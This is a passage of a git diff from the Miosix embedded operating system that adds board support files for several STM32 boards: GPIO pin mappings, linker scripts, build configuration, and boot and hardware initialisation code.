a/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..2a32c2b18 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/interfaces-impl/hwmapping.h @@ -0,0 +1,195 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * Copyright (C) 2023, 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +//LEDs +typedef Gpio led1; +typedef Gpio led2; +typedef Gpio led3; + +//User button +typedef Gpio btn; + +//Serial port +namespace serial { +typedef Gpio tx; +typedef Gpio rx; +} + +//MicroSD card slot exposed on ST Zio connector +namespace sdio { +typedef Gpio d0; +typedef Gpio d1; +typedef Gpio d2; +typedef Gpio d3; +typedef Gpio ck; +typedef Gpio cmd; +} + +//USB OTG A/B port +namespace usb { +typedef Gpio vbus; +typedef Gpio id; +typedef Gpio dm; +typedef Gpio dp; +typedef Gpio on; +} + +//Gpios that connect the ethernet transceiver to the microcontroller +namespace rmii { +typedef Gpio txen; +typedef Gpio txd0; +typedef Gpio txd1; +typedef Gpio rxd0; +typedef Gpio rxd1; +typedef Gpio crsdv; +typedef Gpio mdc; +typedef Gpio mdio; +typedef Gpio refclk; +} + +//32kHz clock pins used by the RTC +namespace rtc { +typedef Gpio osc32in; +typedef Gpio osc32out; +} + +//SWD lines +namespace swd { +typedef Gpio swo; +typedef Gpio tms; +typedef Gpio tck; +} + +//Free pins +namespace unused { +typedef Gpio pa0; +typedef Gpio pa3; +typedef Gpio pa4; +typedef Gpio pa5; +typedef Gpio pa6; +typedef Gpio pa8; +typedef Gpio pa15; +typedef Gpio pb1; +typedef Gpio pb2; //BOOT1 +typedef Gpio pb4; +typedef Gpio pb5; +typedef Gpio pb6; +typedef Gpio pb8; +typedef Gpio pb9; +typedef Gpio pb10; +typedef Gpio pb11; +typedef Gpio pb12; +typedef Gpio pb15; +typedef Gpio pc0; +typedef Gpio pc2; +typedef Gpio pc3; +typedef Gpio pc6; +typedef Gpio pc7; +typedef Gpio pd0; +typedef Gpio pd1; +typedef Gpio pd3; +typedef Gpio pd4; +typedef Gpio pd5; +typedef Gpio pd6; +typedef Gpio pd7; +typedef Gpio pd10; +typedef Gpio pd11; +typedef Gpio pd12; +typedef Gpio pd13; +typedef Gpio pd14; +typedef Gpio pd15; +typedef Gpio pe0; +typedef Gpio pe1; +typedef Gpio pe2; +typedef Gpio pe3; +typedef Gpio pe4; +typedef Gpio pe5; +typedef Gpio pe6; +typedef Gpio pe7; +typedef Gpio pe8; +typedef Gpio pe9; +typedef Gpio pe10; +typedef Gpio pe11; +typedef Gpio pe12; +typedef Gpio pe13; +typedef Gpio pe14; +typedef Gpio pe15; +typedef Gpio pf0; //PH0 +typedef Gpio pf1; //PH1 +typedef Gpio pf2; +typedef Gpio pf3; +typedef Gpio pf4; +typedef Gpio pf5; +typedef Gpio pf6; +typedef Gpio pf7; +typedef Gpio pf8; +typedef Gpio pf9; +typedef Gpio pf10; +typedef Gpio pf11; +typedef Gpio pf12; +typedef Gpio pf13; +typedef Gpio pf14; +typedef Gpio pf15; +typedef Gpio pg0; +typedef Gpio pg1; +typedef Gpio pg2; +typedef Gpio pg3; +typedef Gpio pg4; +typedef Gpio pg5; +typedef Gpio pg7; +typedef Gpio pg8; +typedef Gpio pg9; +typedef Gpio pg10; +typedef Gpio pg12; +typedef Gpio pg14; +typedef Gpio pg15; +typedef Gpio ph0; +typedef Gpio ph1; +typedef Gpio ph2; +typedef Gpio ph3; +typedef Gpio ph4; +typedef Gpio ph5; +typedef Gpio ph6; +typedef Gpio ph7; +typedef Gpio ph8; +typedef Gpio ph9; +typedef Gpio ph10; +typedef Gpio ph11; +typedef Gpio ph12; +typedef Gpio ph13; +typedef Gpio ph14; +typedef Gpio ph15; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f207zg_nucleo/processes.ld b/miosix/arch/board/stm32f207zg_nucleo/processes.ld new file mode 100644 index 000000000..cbda9b284 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f207zg_nucleo/unikernel.ld b/miosix/arch/board/stm32f207zg_nucleo/unikernel.ld new file mode 100644 index 000000000..90897a436 --- /dev/null +++ b/miosix/arch/board/stm32f207zg_nucleo/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f207 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/CMakeLists.txt b/miosix/arch/board/stm32f303vc_stm32f3discovery/CMakeLists.txt new file mode 100644 index 000000000..1ede88406 --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for board stm32f303vc_stm32f3discovery +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f3) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F3DISCOVERY) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F3DISCOVERY) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/Makefile.inc b/miosix/arch/board/stm32f303vc_stm32f3discovery/Makefile.inc new file mode 100644 index 000000000..fe5b51d27 --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/Makefile.inc @@ -0,0 +1,29 @@ +## +## Makefile for board stm32f303vc_stm32f3discovery +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f3 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F3DISCOVERY +BOARD_CXXFLAGS := -D_BOARD_STM32F3DISCOVERY + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/boot.cpp b/miosix/arch/board/stm32f303vc_stm32f3discovery/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..4de647c6e --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,19 @@ +#pragma once + +//Always include stm32f3xx.h before core_cm4.h, there's some nasty dependency +#define STM32F303xC +#include "CMSIS/Device/ST/STM32F3xx/Include/stm32f3xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F3xx/Include/system_stm32f3xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 81, so there are 82 +#define MIOSIX_NUM_PERIPHERAL_IRQ 82 diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..73cd14566 --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp.cpp @@ -0,0 +1,113 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | + RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | + RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOF->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + // Nothing to do +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +};//namespace miosix diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..9da3452e5 --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,76 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +};//namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/openocd.cfg b/miosix/arch/board/stm32f303vc_stm32f3discovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/openocd.cfg rename to miosix/arch/board/stm32f303vc_stm32f3discovery/openocd.cfg diff --git a/miosix/arch/board/stm32f303vc_stm32f3discovery/unikernel.ld b/miosix/arch/board/stm32f303vc_stm32f3discovery/unikernel.ld new file mode 100644 index 000000000..035a9e7a1 --- /dev/null +++ b/miosix/arch/board/stm32f303vc_stm32f3discovery/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f303 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 256K + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 8K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 40K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f401re_nucleo/CMakeLists.txt b/miosix/arch/board/stm32f401re_nucleo/CMakeLists.txt new file mode 100644 index 000000000..203977c27 --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32f401re_nucleo +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # Select linker script + unikernel.ld + processes.ld -DWITH_PROCESSES +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F401RE_NUCLEO) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F401RE_NUCLEO) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE st-flash --connect-under-reset --reset write 0x08000000) diff --git a/miosix/arch/board/stm32f401re_nucleo/Makefile.inc b/miosix/arch/board/stm32f401re_nucleo/Makefile.inc new file mode 100644 index 000000000..567a044a9 --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32f401re_nucleo +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F401RE_NUCLEO +BOARD_CXXFLAGS := -D_BOARD_STM32F401RE_NUCLEO + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= st-flash --connect-under-reset --reset write \ + $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 diff --git a/miosix/arch/board/stm32f401re_nucleo/boot.cpp b/miosix/arch/board/stm32f401re_nucleo/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..ec09f6580 --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F401xE +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f401 RCC synchronization is required per the device errata +//(ES0222 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 84, so there are 85 +#define MIOSIX_NUM_PERIPHERAL_IRQ 85 diff --git a/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..3d1869605 --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp.cpp @@ -0,0 +1,130 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + // Initialize default serial + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..ffe85ddbd --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/interfaces-impl/bsp_impl.h @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * TODO: never tested + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f401re_nucleo/processes.ld b/miosix/arch/board/stm32f401re_nucleo/processes.ld new file mode 100644 index 000000000..6c0a822f2 --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for stm32f401 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 64K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 96K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f401re_nucleo/unikernel.ld b/miosix/arch/board/stm32f401re_nucleo/unikernel.ld new file mode 100644 index 000000000..f8231243e --- /dev/null +++ b/miosix/arch/board/stm32f401re_nucleo/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f401 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 96K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f401vc_stm32f4discovery/CMakeLists.txt b/miosix/arch/board/stm32f401vc_stm32f4discovery/CMakeLists.txt new file mode 100644 index 000000000..3bc8c8201 --- /dev/null +++ b/miosix/arch/board/stm32f401vc_stm32f4discovery/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## 